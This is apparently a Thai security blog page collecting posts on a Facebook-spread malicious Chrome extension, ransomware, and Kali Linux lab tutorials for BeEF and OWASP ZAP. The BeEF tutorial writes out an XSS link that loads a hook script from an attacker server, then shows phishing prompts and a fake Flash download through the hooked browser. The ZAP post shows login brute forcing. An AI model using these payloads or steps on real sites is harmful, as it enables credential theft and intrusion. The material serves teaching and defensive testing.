Category: Security

  • มัลแวร์สวมรอยการใช้งาน Facebook

    มีรายงานจากศูนย์ประสานการรักษาความมั่นคงปลอดภัยระบบคอมพิวเตอร์ประเทศไทย (ไทยเซิร์ต) เมื่อวันที่ 10 พ.ค. 2559 พบว่ามีการแพร่กระจายมัลแวร์ประเภท Malicious Code ผ่าน Facebook โดยอาศัยช่องทางการแจ้งเตือนของ Facebook

    การทำงานของมัลแวร์

    เมื่อผู้ใช้ได้รับการแจ้งเตือนจาก Facebook ว่าถูกพาดพิงโดยบุคคลที่สาม หากผู้ใช้คลิกเข้าไปดูข้อความแจ้งเตือนดังกล่าวก็จะถูกนำไปยังไซต์อื่นทันที และเว็บไซต์ปลายทางที่ถูกนำพาไปจะปรากฏข้อความว่าเป็นส่วนขยายของ Browser สำหรับใช้เปลี่ยนสีของเว็บไซต์ Facebook และให้ดาวน์โหลดไฟล์ Instalador_Cores.scr มาติดตั้ง ซึ่งเป็นส่วนขยายของ Google Chrome

    รูปที่ 1 หน้าเว็บไซต์ปลายทางมีให้ดาวน์โหลดไฟล์ Instalador_Cores.scr

    หากผู้ใช้หลงเชื่อดาวน์โหลดและติดตั้งจะพบว่ามีการสร้างไฟล์ไว้ที่ไดเรกทอรี่ C:\User\[ชื่อผู้ใช้]\AppData\Local\Google\Update จากนั้นจะสร้าง Shortcut สำหรับเรียกใช้งาน Google Chrome ไว้ที่ Desktop โดยตัว Shortcut ดังกล่าวจะเป็นการเปิดใช้งาน Google Chrome โดยโหลดส่วนเสริมที่ถูกติดตั้งใหม่ขึ้นมาทำงานด้วย

    หากเปิดใช้งาน Google Chrome จาก Shortcut ดังกล่าว และเข้าใช้งานเว็บไซต์ Facebook ก็จะพบว่าสีของ Facebook เปลี่ยนเป็นสีเขียวดังรูปที่ 2 และยังสามารถปรับแต่งเป็นสีอื่นได้ตามต้องการ

    รูปที่ 2 ตัวอย่างส่วนขยายของ Google Chrome ที่สามารถเปลี่ยนสีเว็บไซต์ Facebook ได้

    นอกจากการทำงานดังกล่าวแล้วมัลแวร์ตัวนี้ยังได้แฝงการทำงานเบื้องหลังไว้โดยจะตรวจสอบว่ามีการล็อคอิน Facebook ไว้หรือไม่ หากใช่ก็จะสวมรอยไปโพสต์คอมเมนต์ในเว็บไซต์ pinandwin8.co.nz ทันที โดยในคอมเมนต์ก็จะมีการอ้างถึงผู้อื่นที่อยู่ในรายชื่อเพื่อนของผู้ใช้อีกด้วย

    การแก้ไขหากตกเป็นเหยื่อ

    1. ไปที่ไดเรกทอรี C:\User\[ชื่อผู้ใช้]\AppData\Local\Google\Update แล้วลบไดเรกทอรี่และไฟล์ที่มัลแวร์สร้าง ดังนี้ ไดเรกทอรี่ css, img, js ไฟล์ manifest.json, popup.html และ background.html
    2. ลบไอคอน Google Chrome ที่ถูกสร้างขึ้นใหม่ออกจาก Desktop

    การป้องกันการโจมตี

    1. ผู้ใช้ Facebook ควรอ่านข้อความแจ้งเตือนที่ปรากฏบนหน้าจอ โดยเฉพาะเมื่อ Facebook แจ้งว่าการคลิกลิงก์จะเป็นการเปลี่ยนเส้นทางไปยังเว็บไซต์อื่น
    2. หากคลิกลิงก์จาก Facebook แล้วพบหน้าจอขอให้ใส่รหัสผ่าน ไม่ควรใส่ข้อมูลเพราะอาจเป็นหน้าเว็บไซต์หลอกลวง (Phishing)
    3. หากคลิกลิงก์จาก Facebook แล้วพบหน้าจอขอให้ดาวน์โหลดโปรแกรม ควรพิจารณาก่อนดาวน์โหลดโปรแกรมนั้นเพราะอาจเป็นอันตรายได้
    4. ผู้ดูแลระบบอาจพิจารณาบล็อคเว็บไซต์ pinandwinco.nz เนื่องจากเป็นเว็บไซต์ที่เผยแพร่มัลแวร์

    แหล่งข้อมูลอ้างอิง

  • มัลแวร์เรียกค่าไถ่ Ransomware

    ทุกวันนี้อินเตอร์เน็ตเข้ามามีอิทธิพลต่อชีวิตประจำวันเป็นอย่างมาก ทุกคนไม่ว่าจะเป็นใคร ทำอาชีพอะไร อยู่ที่ไหนในโลกนี้ก็สามารถเข้าถึงอินเตอร์เน็ตได้ด้วยอุปกรณ์ต่าง ๆ ที่หลากหลาย เช่น คอมพิวเตอร์ แท็บเล็ต และสมาร์ทโฟน เป็นต้น อุปกรณ์เหล่านี้ทำให้เราเข้าถึงโลกอินเตอร์เน็ตที่กว้างใหญ่ได้ ดังนั้นเราจึงไม่ควรมองข้ามภัยอันตรายที่แฝงอยู่ในรูปแบบต่าง ๆ โดยเฉพาะอย่างยิ่งภัยอันตรายที่มาจากมัลแวร์ชนิดหนึ่งที่มันจะมาจับเครื่องหรือไฟล์ของเราเป็นตัวประกัน เพื่อเรียกค่าไถ่ มัลแวร์ชนิดนี้สร้างความตื่นตัวให้กับคนทั่วโลก รวมถึงประเทศไทยมาแล้ว  ดังจะเห็นได้จากหน่วยงานราชการต่าง ๆ ในประเทศไทยได้มีการออกหนังสือราชการ ประกาศแจ้งเตือนให้เพิ่มความระมัดระวังในการเปิดอ่านไฟล์ที่แนบมากับจดหมายอิเล็กทรอนิกส์ให้มากยิ่งขึ้น

    รูปที่ 1 ตัวอย่างหนังสือราชการแจ้งเตือนให้เพิ่มความระมัดระวังในการเปิดอ่านจดหมายอิเล็กทรอนิกส์
    [ที่มา : http://www.tourism.go.th/subweb/details/7/88/24949 และ http://www.chkr.go.th/2/images/vs.pdf ]
    มัลแวร์ที่ประสงค์ร้ายต่อข้อมูลในอุปกรณ์ต่าง ๆ ของเราดังกล่าว จัดเป็นมัลแวร์ประเภท “Ransomware” หรือ “มัลแวร์เรียกค่าไถ่” มีเป้าหมายที่ตรวจพบการโจมตีแล้วทั้งในระบบปฏิบัติการ Window, Android, iOS และ Linux โดยแบ่งตามการทำงานออกเป็น 2 รูปแบบหลัก ๆ อุปกรณ์ต่าง ๆ ของเรานคือ

    1. Lock Screen Ransomware
      Ransomware รูปแบบนี้จะใช้ความสามารถของ Lock Screen ทำการล็อคหน้าจอหรือปิดกั้นการเข้าใช้งานเครื่องคอมพิวเตอร์ หรือสมาร์ทโฟนของเหยื่อไว้ ไม่ให้สามารถเข้าถึงโปรแกรมต่าง ๆ และข้อมูลในเครื่องได้ พร้อมทั้งแสดงข้อความเรียกค่าไถ่เพื่อปลดล็อคดังรูปที่ 2 เป็นหน้าจอของสมาร์ทโฟนระบบปฏิบัติการ Android ที่ติด Ransomware ชื่อ iToper
      รูปที่ 2 ตัวอย่างหน้าจอสมาร์ทโฟนที่ติดมัลแวร์ชนิด Lock Screen Ransomware ที่ชื่อ iToper
      [ที่มา : http://www.cmcm.com/blog/en/security/2015-06-16/645.html ]
    2. File Encrypting Ransomware
      เครื่องผู้ใช้งานที่ติด Ransomware ในรูปแบบนี้จะสามารถใช้งานอุปกรณ์ และเข้าถึงโปรแกรมต่าง ๆ ได้ตามปกติ แต่ไฟล์ต่าง ๆ ที่อยู่ในเครื่องทั้งหมด ไม่ว่าจะเป็นไฟล์เอกสาร ไฟล์วีดีโอ หรือไฟล์รูปภาพ และอื่น ๆ จะถูกเข้ารหัสไว้ไม่ให้ผู้ใช้งานสามารถเข้าถึงได้ จากนั้นจึงเรียกค่าไถ่โดยการทิ้งข้อความแสดงคำแนะนำวิธีการจ่ายเงินเพื่อแลกกับคีย์ที่ใช้ในการถอดรหัสไฟล์กลับคืนมาดังรูปที่ 3 เป็นตัวอย่างหน้าจอการเรียกค่าไถ่ของ Ransomware รูปแบบนี้ที่ชื่อ CryptoLocker
      รูปที่ 3 หน้าจอของเครื่องคอมพิวเตอร์ที่ติด Ransomware รูปแบบ File Encrypting ransomware ชื่อ CryptoLocker
      [ที่มา : https://www.thaicert.or.th/papers/technical/2013/pa2013te011.html ]

      สถิติการโจมตีของ Ransomware

      มีสถิติที่น่าสนใจจาก Solutionary ซึ่งเป็นบริษัทด้านความปลอดภัยในเครือ NTT Group ได้ออกรายงานสถิติการโจมตีของ Ransomware ที่ตรวจพบได้ในไตรมาสที่ 2 ของปี 2016 พบว่าหน่วยงานด้านสาธารณสุขเป็นหน่วยงานที่ถูกโจมตีมากที่สุดถึง 88% รองลงมาคือหน่วยงานด้านการศึกษา 6% และหน่วยงานด้านการเงิน 4% โดย Ransomware สายพันธ์ที่ตรวจพบมากที่สุดคือ CryptoWall คิดเป็น 94%

    รูปที่ 4 สถิติการโจมตีของ Ransomware ในไตรมาสที่ 2 ปี 2016 [ที่มา : https://www.helpnetsecurity.com/2016/07/27/ransomware-healthcare-industry ]

    ช่องทางการโจมตีของ Ransomware

    1. การโจมตีส่วนใหญ่จะมาทางอีเมล์หลอกลวงที่แนบไฟล์ Ransomware ไว้ โดยเนื้อหาในอีเมล์จะดึงดูดให้ผู้อ่านอยากคลิกเข้าไปอ่าน เช่น อีเมล์แจ้งเลขที่ใบสั่งซื้อสินค้า (OrderID) หากผู้ใช้ไม่คลิกไปเปิดไฟล์แนบ ก็อาจจะทำให้สูญเสียโอกาสทางการค้าได้ ซึ่งถ้าผู้ใช้คลิกเปิดไฟล์โดยไม่ระมัดระวัง ก็จะตกเป็นเหยื่อของ Ransomware ทันที ไฟล์แนบที่มากับอีเมล์จะเป็น zip file หากแตกไฟล์ออกมาก็จะพบไฟล์นามสกุล .doc, .xls, .ppt หรือไฟล์อื่นๆ ที่เราคุ้นเคย แต่ถ้าสังเกตดี ๆ จะพบว่านามสกุลของไฟล์จริง ๆ แล้วเป็น .exe เรียกเทคนิคการตั้งชื่อไฟล์แบบนี้ว่า Double Extensions
    2. โจมตีด้วยวิธี Social Engineering เป็นการหลอกผู้ใช้งานให้ดาวน์โหลดโปรแกรมมาติดตั้งในเครื่อง เช่น ในขณะที่ใช้งานระบบลงทะเบียนเรียนออนไลน์ของมหาวิทยาลัย พบว่ามี Pop-up ขึ้นมาบอกว่า ให้ดาวน์โหลดโปรแกรมเสริมมาติดตั้งเพื่อให้สามารถลงทะเบียนได้สะดวก และรวดเร็วขึ้น ทั้ง ๆ ที่โปรแกรมนี้ไม่มีอยู่จริง หากผู้ใช้งานหลงเชื่อและทำการดาวน์โหลดมาติดตั้ง ไฟล์ต่าง ๆ ก็จะโดนจับเป็นตัวประกันทันที
    3. โจมตีทางช่องโหว่ของ Browser รวมถึง Add-on, Plug-in ต่าง ๆ เช่น Java, Flash และ Acrobat Reader เป็นต้น

    เทคนิคที่ File Encrypting Ransomware ใช้ในการเข้ารหัส

    Ransomware ส่วนใหญ่จะเข้ารหัสไฟล์โดยใช้ Asymmetric Key Algorithms ประกอบด้วยกุญแจ 2 ดอก คือ Public Key ใช้ในการเข้ารหัส และ Private Key ใช้ในการถอดรหัสดังรูป

    รูปที่ 5 การเข้ารหัส และถอดรหัส [ที่มา : https://www.hotforsecurity.com /blog /how-does-ransomware-work-the-ultimate-guide-to-understanding-ransomware-part-ii-11856.html]

    ขั้นตอนการทำงานของ Ransomware

    การโจมตีของ Ransomware จะมีขั้นตอนการทำงาน 6 ขั้นตอน ดังรูป โดย 3 ขั้นตอนสุดท้ายจะใช้การสื่อสารผ่าน TOR (The Onion Router) เพื่อปกปิดตัวตนของโจร และทำให้ไม่สามารถทราบได้ว่าเชื่อมต่อจากที่ไหน

    รูปที่ 6 ขั้นตอนการทำงานของ File Encrypting Ransomware [ที่มา : https://www.sans.org/reading-room/whitepapers/incident/enterprise-survival-guide-ransomware-attacks-36962]
    1. ส่งข้อมูลหลอกลวงผู้ใช้งานในรูปแบบของอีเมล์ที่มีไฟล์แนบ หรือลิงค์สำหรับดาวน์โหลดโปรแกรม
    2. ผู้ใช้งานดาวน์โหลดไฟล์ Ransomware จากไฟล์แนบหรือลิงค์หลอกลวง
    3. ผู้ใช้งาน Double Click เพื่อเปิดไฟล์ที่ดาวน์โหลดมา ก็จะเป็นการสั่งให้ Ransomware ทำงานทันที
    4. Ransomware ทำการเชื่อมต่อไปยัง Command and Control Center (C&C) หรือเครื่องเซิร์ฟเวอร์ที่ทำหน้าที่เก็บข้อมูล และคีย์ที่ใช้ในการถอดรหัสของเหยื่อแต่ละราย ซึ่ง Ransomware จะต้องทำการเชื่อมต่อ C&C ให้ได้ก่อนที่จะดำเนินการขั้นต่อไป จากนั้นจึงสร้าง RSA Key ขนาด 2,048 bits ขึ้นมาคือ Public Key ที่ใช้สำหรับเข้ารหัส และ Private Key ที่ใช้สำหรับถอดรหัสโดย C&C จะเก็บ Private Key ไว้ และส่ง Public Key ไปยังเครื่องเหยื่อ
    5. Ransomware จะทำการค้นหาไฟล์ต่าง ๆ บนเครื่องเหยื่อโดยดูจากนามสกุลไฟล์ ทั้งไฟล์รูปภาพ (เช่น .jpg, .gif, .png) วีดีโอ (เช่น .avi, .mpeg, .mov) และเอกสาร (เช่น .doc, docx, xls, xlsx) เป็นต้น จากนั้นจึงใช้ RSA Algorithm เข้ารหัสไฟล์ด้วย Public Key และแสดงตัวเพื่อเรียกค่าไถ่โดยการทิ้งข้อความแจ้งเตือนเหยื่อว่าไฟล์ทั้งหมดถูกเข้ารหัสแล้ว ไม่สามารถใช้งานได้ และเหยื่อต้องยอมจ่ายเงินเป็นจำนวนที่โจรต้องการในรูปแบบของ Bitcoins เพื่อแลกกับ Private Key ที่ใช้ในการถอดรหัสภายในระยะเวลาที่กำหนด ไม่เช่นนั้นจะขึ้นค่าไถ่ หรือทำลายคีย์ทิ้ง และจะไม่สามารถถอดรหัสไฟล์ได้อีก
    6. หากเหยื่อจ่ายเงินค่าไถ่ตามคำแนะนำของโจร ก็อาจจะได้รับ Private Key ภายใน 2 – 48 ชั่วโมง และจะทำการถอดรหัสไฟล์ให้โดยอัตโนมัติ แต่ไม่รับประกันว่าจะสามารถถอดรหัสได้ทุกไฟล์หรือไม่

    จากข้อมูลผู้ให้บริการตรวจสอบชนิดของ Ransomware ที่ https://id-ransomware.malwarehunterteam.com สามารถตรวจสอบและระบุตัว ransomware ได้ต่างกัน 187 ชนิด ซึ่งแต่ละชนิดจะมีรายละเอียดต่างกัน เช่น CryptoLocker และ Ransom32 มีรายละเอียดดังนี้

    CryptoLocker

    เป็นมัลแวร์ที่แพร่กระจายในรูปของไฟล์แนบ zip file ในอีเมล์ซึ่งถูกส่งมาจากผู้ส่งที่น่าเชื่อถือ หากแตกไฟล์ออกมาก็จะพบไฟล์ .exe ในรูปของไฟล์เอกสาร เช่น pdf, word, excel เป็นต้น หากผู้ใช้ Double Click จะทำให้ไฟล์ต่าง ๆ ถูกเข้ารหัสทันที โดยตัวอย่างหน้าจอ CryptoLocker เป็นดังรูป

    รูปที่ 7 หน้าจอคอมพิวเตอร์ที่โดน CryptoLocker เข้ารหัสไฟล์เรียบร้อยแล้ว และรายชื่อไฟล์ที่ถูกเข้ารหัส [ที่มา : https://www.it24hrs.com/2015/ransomware-alert]

    Ransom32

    เป็นมัลแวร์รูปแบบใหม่ที่พัฒนาโดยใช้ภาษา Java Script ภายใต้แนวคิด Software as a Service (SaaS) เชื่อมต่อกับ C&C ผ่านทาง TOR เช่นเดียวกับ Ransomware สายพันธ์อื่น ๆ  การพัฒนาด้วยแนวคิด SaaS จะทำให้ใครก็ตามสามารถสร้างมัลแวร์เป็นของตนเองได้ทันทีโดยอาศัยการตั้งค่าต่าง ๆ เช่น จำนวนเงินที่เรียกร้อง และข้อความแจ้งเตือน เป็นต้น ผ่านทางเว็บไซต์ที่ซ่อนอยู่ภายในเครือข่าย TOR

    รูปที่ 8 ตัวอย่างข้อความเรียกค่าไถ่ของ Ransom32
    [ที่มา : http://securityaffairs.co/wordpress/43250/cyber-crime/ransom32-crypto-ransomware.html]

    หากตกเป็นเหยื่อของ Ransomware แล้วต้องทำอย่างไร

    1. ในกรณีที่ไฟล์ที่ถูกเข้ารหัสเป็นไฟล์สำคัญจริง ๆ ก็ต้องจ่ายเงิน แต่ก็ไม่สามารถรับประกันได้ว่าจะสามารถได้ไฟล์คืนมา เนื่องจากการทำธุรกรรมกับโจรย่อมมีความเสี่ยงที่จะเป็นผู้เสียเงินฝ่ายเดียว หากเป็นไปได้ไม่ควรใช้วิธีการนี้ เนื่องจากการจ่ายเงินเป็นการสนับสนุนธุรกิจของโจร
    2. ห้ามใช้เครื่องที่ติด Ransomware เชื่อมต่อกับเครือข่าย Flash Drive หรือ External Hardisk เนื่องจากอาจจะเป็นการกระจายมัลแวร์ไปยังเครื่องอื่น ๆ ได้
    3. ควร Format เครื่อง และติดตั้งระบบปฏิบัติการใหม่

    การป้องกันภัยจาก Ransomware

    • เนื่องจากช่องทางการแพร่กระจายของ Ransomware โดยส่วนใหญ่จะมาทางอีเมล์ขยะ ผู้ใช้งานจึงควรเลือกใช้โปรแกรมสำหรับจัดการอีเมล์ และบริการอีเมล์ที่มีคุณสมบัติการช่วยกรองอีเมล์ขยะที่มีประสิทธิภาพ
    • ควรเพิ่มความระมัดระวังในการใช้อินเตอร์เน็ตให้มากยิ่งขึ้น หากสงสัยว่าไฟล์ที่ดาวน์โหลดมาเป็นมัลแวร์ ก็สามารถทำการตรวจสอบได้โดยการอัพโหลดไฟล์ดังกล่าวไปทดสอบกับเว็บไซต์ https://www.virustotal.com
    • ตั้งค่าเครื่องคอมพิวเตอร์ให้แสดงนามสกุลไฟล์ จะทำให้สังเกตไฟล์ที่มีลักษณะเป็น Double Extension ซึ่งเป็นเทคนิคที่ Ransomware ใช้ในการหลอกลวงผู้ใช้ได้ง่ายยิ่งขึ้น
    • ทำการอัพเดทโปรแกรมต่าง ๆ ที่มักจะเป็นเป้าหมายในการฝังมัลแวร์ไว้ เช่น Java, Adobe Flash Player, Microsoft Silverlight, Adobe Reader, Web Browser เป็นต้น รวมทั้งระบปฏิบัติการ และโปรแกรม Antivirus ให้ทันสมัยอยู่เสมอ
    • สำรองข้อมูลอย่างสม่ำเสมอไว้ในฮาร์ดดิสสำรองเพื่อป้องกันข้อมูลสูญหาย ซึ่งเมื่อทำการสำรองข้อมูลเสร็จแล้วควรรีบปลดสายออก
    • ควรติดตั้งส่วนเสริมสำหรับ Browser ที่ใช้ในการปิดกั้นโฆษณา เนื่องจากมัลแวร์มีการแพร่กระจายโดยการฝัง Script สำหรับดาวน์โหลดมัลแวร์ไว้ในแบนเนอร์โฆษณา

    แหล่งที่มาของข้อมูล

    • https://www.sans.org/reading-room/whitepapers/incident/enterprise-survival-guide-ransomware-attacks-36962
    • https://izonex.wordpress.com/2008/10/26/anoymous-software-tor
    • https://www.it24hrs.com/2015/ransomware/
    • https://www.hotforsecurity.com/blog/money-or-data-the-ultimate-guide-to-understanding-ransomware-part-i-11808.html
    • https://www.techtalkthai.com/ransom32-saas-ransomware/
    • http://securityaffairs.co/wordpress/43250/cyber-crime/ransom32-crypto-ransomware.html
    • http://www.aripfan.com/ransomware-email-virus/
    • https://www.helpnetsecurity.com/2016/07/27/ransomware-healthcare-industry
    • http://www.tourism.go.th/subweb/details/7/88/24949

     

  • วิธีใช้งาน Kali Linux – BeEF – XSS Framework

    จาก วิธีใช้งาน Kali Linux – OWASP Zap – Active Scan ได้แสดงให้เห็นว่า เมื่อตรวจเจอช่องโหว่ Cross Site Scripting (XSS) บนเครื่องเป้าหมาย

    2559-10-17-11_11_17-program-manager

    จากที่ได้เคยบรรยายไปใน Web Hacking and Security Workshop เรื่อง วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 : วิธีการ Hack ด้วย SQL Injection และ Cross-Site Scripting ซึ่งแสดงให้เห็นว่า หากมีช่องโหว่ดังกล่าว ทำให้สามารถใส่ JavaScript ลงไปได้

    2559-10-24-10_46_51-desktop-running-oracle-vm-virtualbox

    2559-10-24-10_47_34-program-manager

    ซึ่งอาจจะดูไม่น่าจะอันตรายอะไร แต่ ถ้า Hacker พบช่องโหว่ XSS (reflected) นี้บน Website ของเรา แล้วส่ง URL ที่แนบ JavaScript ไปหลอกผู้ใช้ของเรา อาจจะเป็นทาง Email ก็จะเป็นปัญหาได้

    ต่อไปนี้ จะแนะนำอีกเครื่องมือหนึ่ง ที่ชื่อว่า BeEF XSS Framework ใน Kali Linux ดังวิธีการใช้งาน “เบื้องต้น” ให้เห็นอันตรายของช่องโหว่นี้ ดังนี้

    1. เปิด Application > 08 Exploitation Tools > beef xss framework
      2559-10-24-11_31_21-kali-light-running-oracle-vm-virtualbox
    2. เมื่อระบบทำงานแล้ว ให้ copy Example Hook ไว้ก่อน แล้วมา Login BeEF Website โดยใส่ username/password เป็น beef/beef
      2559-10-24-11_34_53-program-manager
    3. ต่อไป อาจจะส่ง email ไปหลอกผู้ใช้ของระบบ โดยใส่ Link เป็น
      http://192.168.56.101/xss/simple.php?name=<script src=”http://192.168.56.102:3000/hook.js”></script>
      โดยในที่นี้
      192.168.56.101 เป็น Website ที่มีช่องโหว่ XSS
      192.168.56.102 เป็น BeEF Server ของ Hacker ที่เปิด port 3000 รอให้ Download hook.js ไปติดตั้ง
      หากผู้ใช้โดนหลอกให้คลิก จะปรากฏภาพดังนี้
      2559-10-24-11_38_13-desktop-running-oracle-vm-virtualbox
    4. เมื่อมีผู้ใช้โดนหลอกให้คลิกเรียบร้อย ทาง Hacker ที่ใช้ BeEF จะเห็นหน้าจอดังนี้
      2559-10-24-11_42_22-program-manager
    5. BeEF สามารถรู้รายละเอียดของ Browser ของเป้าหมายได้
      2559-10-24-11_43_50-program-manager
    6. ในเมนู Command สามารถทำอะไรได้หลายอย่าง
      2559-10-24-11_45_09-start
    7. เมื่อเลือก Browser > Hooked Domain > Get Page HREFs2559-10-24-11_46_37-kali-light-running-oracle-vm-virtualbox
      แล้วคลิก Execute จากนั้น มาดูผลงานใน Command results ก็จะเห็นว่า ใน Page ของผู้ใช้ มี Link เดิมเป็น http://xssattackexamples.com เป็นต้น
      2559-10-24-11_47_05-kali-light-running-oracle-vm-virtualbox

      จากนั้น เลือก Replace HREFs เป็น http://beefproject.com/ แล้วคลิก Execute
      2559-10-24-11_47_31-program-manager

      ตรวจสอบผลงาน พบว่า Link ถูกเปลี่ยนไป 2 ตำแหน่ง
      2559-10-24-11_47_50-kali-light-running-oracle-vm-virtualbox
      ผู้ใช้จะเห็น Link เปลี่ยนไปดังภาพ
      2559-10-24-11_48_18-desktop-running-oracle-vm-virtualbox
    8. สั่งให้ Pop Dialog ถามรหัสผ่านผู้ใช้ (แบบบ้านๆ)
      2559-10-24-11_56_42-program-manager 2559-10-24-11_56_58-program-manager
    9. สั่งให้หลอกถาม username/password ของ Google
      2559-10-24-12_00_14-kali-light-running-oracle-vm-virtualbox 2559-10-24-12_00_38-program-manager
    10. สั่งให้หลอกถามแบบ Facebook
      2559-10-24-12_04_35-program-manager 2559-10-24-12_05_00-desktop-running-oracle-vm-virtualbox
    11. และหลอกให้ download Flash Player แต่จริงๆแล้วเป็น Virus/Malware/Ransomware
      2559-10-24-12_02_18-kali-light-running-oracle-vm-virtualbox 2559-10-24-12_04_11-desktop-running-oracle-vm-virtualbox

     

     

  • วิธีใช้งาน Kali Linux – OWASP Zap – Brute Force with Fuzz

    ในการตรวจสอบ ความแข็งแกร่งของระบบป้องกันการโจมตี เรื่องหนึ่งคือความสามารถในการกัน Brute Force หรือ ความพยายามเดารหัสผ่าน

    OWASP Zap สามารถใช้เป็นเครื่องมือในการทำ Brute Force ได้ โดยใช้เครื่องมือที่ชื่อว่า Fuzz

    ขั้นตอนมีดังนี้

    1. เปิด Zap และเปิด Web Browser ที่ตั้งค่าให้ Zap เป็น Proxy และ ทำการ Authentication ทดสอบดู
      2559-10-21-15_22_20-kali-light-running-oracle-vm-virtualbox
    2. ใน Zap จะปรากฏ POST Action ที่สำหรับส่ง Username และ Password เกิดขึ้น
      2559-10-21-15_22_52-program-manager
    3. เลือก Username ที่ทดสอบใส่ลงไป แล้วคลิกขวา เลือก Fuzz
      2559-10-21-15_23_17-program-manager
    4. จากนั้นคลิก Payloads
      2559-10-21-15_23_44-kali-light-running-oracle-vm-virtualbox
    5. จากนั้น คลิกปุ่ม Add เลือก Type เป็น Strings แล้วใส่ Username ที่จะใช้ในการเดา เสร็จแล้วคลิกปุ่ม Add
      2559-10-21-15_24_25-kali-light-running-oracle-vm-virtualbox
    6. จากนั้น เลือกข้อความที่เป็น Password แล้วคลิก Add แล้วคลิก Payload แล้วใส่ Password ที่จะเดา เสร็จแล้วคลิกปุ่ม Add
      2559-10-21-15_25_25-kali-light-running-oracle-vm-virtualbox
    7. เมื่อตั้งค่าเสร็จแล้ว คลิกปุ่ม Start Fuzz
      2559-10-21-15_25_42-kali-light-running-oracle-vm-virtualbox
    8. Zap จะทำการเดา Username/Password เมื่อเสร็จแล้ว ลองสังเกตผลใน Tab Fuzzer
      ผลที่ได้อาจจะแตกต่างกันในแต่ละระบบที่โจมตี แต่ในภาพ จะเห็นว่า มี Size Response Header อยู่บรรทัดหนึ่งที่มีขนาดแตกต่างจากอันที่ไม่สำเร็จ คือ 390 bytes (บรรทัดอื่นๆเป็น 310 bytes) เมื่อลองคลิกดู แล้วไปดูใน Tab Response จะเห็นว่า มีการ Set-Cookie แสดงว่า Login ได้แล้ว

      ใน Column Payloads จะเห็นว่า รหัสผ่านเป็น admin,123456 สามารถเอาไปทดสอบได้
      2559-10-21-15_27_32-program-manager

    ในตัวอย่างนี้ ถ้ามีระบบป้องกันการเดารหัสผ่าน เช่น fail2ban ก็จะสามารถลดความเสี่ยงได้ (บ้าง)

  • วิธีใช้งาน Kali Linux – OWASP Zap – User Authentication

    ในการตรวจสอบ Web Application ที่ต้องมีการ Authentication โดยใช้งานผ่าน Web Form จะต้องกำหนดค่าให้ OWASP Zap รู้ว่า จุดใดเป็น Login Form และ Field ใดที่ใช้เป็น Username และ Password ก่อน หลังจากนั้น จะสามารถกำหนดได้ว่า จะโจมตีด้วย Username ใดบ้าง เพื่อใช้ในการทดสอบ

    ขั้นตอนในการตั้งค่าและโจมตีมีดังนี้

    1. ใน Web Browser ให้ตั้งค่า Proxy เป็น 127.0.0.1 Port 8080
      2559-10-19-14_04_45-program-manager
    2. ทำการเปิด Web Page ที่ต้องการโจมดี โดยให้ทำเป็น Login ตามปรกติ ด้วย Username/Password ที่ใช้งานได้จริง
      2559-10-19-14_05_32-program-manager
    3. เมื่อ Login สำเร็จแล้ว จะได้หน้าตาประมาณนี้
      2559-10-19-14_05_49-program-manager
    4. จากนั้น กลับไปที่ OWASP Zap จะเห็นว่าใน Sites มี URL ของ Website ที่ต้องการโจมตีปรากฏอยู่ จากนั้นให้ คลิกขวาที่ URL ที่ต้องการโจมตี คลิก Include in Context > Default Context
      2559-10-19-14_06_30-program-manager
    5. จะปรากฏหน้าต่าง Session Properties ให้ทราบว่า จะใช้งาน URL นี้ ให้คลิกปุ่ม OK
      2559-10-19-14_06_49-kali-running-oracle-vm-virtualbox
    6. จากนั้นให้คลิก POST Action ที่เป็นการส่งข้อมูลการ Login ผ่าน Web Form แล้ว คลิกขวา เลือก Flag as context > Default Context : Form-based Auth login Request
      2559-10-19-14_07_24-program-manager
    7. จะปรากฏหน้าต่าง Session Properties อีกครั้ง ให้ทราบว่า จะใช้ Login Form Target URL และ Login Request POST DATA ดังภาพ ให้กำหนดว่า Username Parameter และ Password Parameter คือ Field ใด จากนั้น ให้คลิกปุ่ม OK
      2559-10-19-14_08_07-kali-running-oracle-vm-virtualbox
    8. จากนั้น ให้คลิก Tab Response ของ POST Action ที่ใช้ในการ Login แล้วมองหา ข้อความ ที่จะให้ OWASP Zap ค้นหา เพื่อเป็นการยืนยังว่า สามารถ Login ได้แล้ว จากนั้น คลิกขวา แล้วเลือก Flag as Context > Default Context: Authentication Logged-in indicator
      2559-10-19-14_08_46-program-manager
    9. จะปรากฏหน้าต่าง Session Properties อีกครั้ง ให้ทราบว่า Regex pattern identified in Logged in response message คือคำใด จากนั้น ให้คลิกปุ่ม OK
      2559-10-19-14_09_06-kali-running-oracle-vm-virtualbox
    10. จากนั้น คลิก Users ด้านซ้ายมือ แล้ว คลิก เครื่องหมายถูก หน้า Username ที่จะใช้ในการ Login
      2559-10-19-14_09_35-kali-running-oracle-vm-virtualbox
    11. จากนั้น คลิก Forced Users ด้านซ้ายมือ แล้วเลือก User ที่จะใช้ในการโจมตี แล้วคลิก OK
      2559-10-19-14_09_51-kali-running-oracle-vm-virtualbox
    12.   ที่ URL ที่จะโจมตี คลิกขวา แล้วเลือก Attack > Active Scan2559-10-19-14_10_29-program-manager
    13. ในหน้าต่าง Active Scan ให้คลิก Tab Scope แล้วเลือก User ที่จะใช้ในการโจมตี
      2559-10-19-14_10_57-kali-running-oracle-vm-virtualbox
    14. คลิก Tab Policy จากนั้นกำหนดให้ Apply High Threshold และ Apply Insane Strength แล้วคลิกปุ่ม Go ทั้ง 2 อัน
      2559-10-19-14_11_19-kali-running-oracle-vm-virtualbox
    15. ระบบ OWASP Zap จะทำการ Scan สามารถดูผลได้จาก Alerts ดังภาพ ซึ่งแสดงให้เห็นว่า Web Site ดังกล่าวมีชื่อโหว่ SQL Injection ที่สามารถ Bypass การ Authentication ได้ เป็นต้น
      2559-10-19-14_13_17-program-manager

    References:

    https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

    https://github.com/zaproxy/zap-core-help/wiki

  • วิธีใช้งาน Kali Linux – OWASP Zap – Active Scan

    ใน Kali Linux มีเครื่องมือ Web Application Security Scanner ที่น่าสนใจตัวหนึ่ง คือ OWASP Zap (Open Web Application Security Project) เหมาะสำหรับการใช้งานตั้งแต่การทดสอบเบื้องต้น ไปจนถึงการโจมตีขั้นสูงได้

    *** คำเตือน : อย่าใช้เครื่องมือนี้กับระบบคอมพิวเตอร์ที่ท่านไม่ใช่เจ้าข้องเด็ดขาด ***

    ในบทความนี้ จะแสดงขั้นตอนการทดสอบ Web Application โดยใช้กระบวนการ Active Scan

    1. ใน Kali Linux เปิด Applications > 03 Web Application Analysis > owasp-zap
